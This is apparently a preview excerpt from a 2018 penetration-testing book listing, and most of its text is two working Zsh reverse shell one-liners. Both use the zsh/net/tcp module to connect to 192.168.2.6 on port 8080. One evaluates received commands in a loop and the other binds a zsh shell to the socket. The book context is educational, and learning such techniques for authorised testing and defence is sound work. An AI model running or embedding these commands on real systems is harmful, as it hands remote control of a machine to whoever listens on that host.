September 2018
Intermediate to advanced
480 pages
9h 45m
English
A Zsh reverse shell one-liner command using zmodload to load a tcp module for communication using tcp sockets is as follows:
zmodload zsh/net/tcp;ztcp 192.168.2.6 8080;while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;ztcp -c
A Zsh reverse shell one-liner command using a custom file descriptor with a zmodload ztcp module is as follows:
zmodload zsh/net/tcp && ztcp -d 9 192.168.2.6 8080 && zsh 1>&9 2>&9 0>&9
Read now
Unlock full access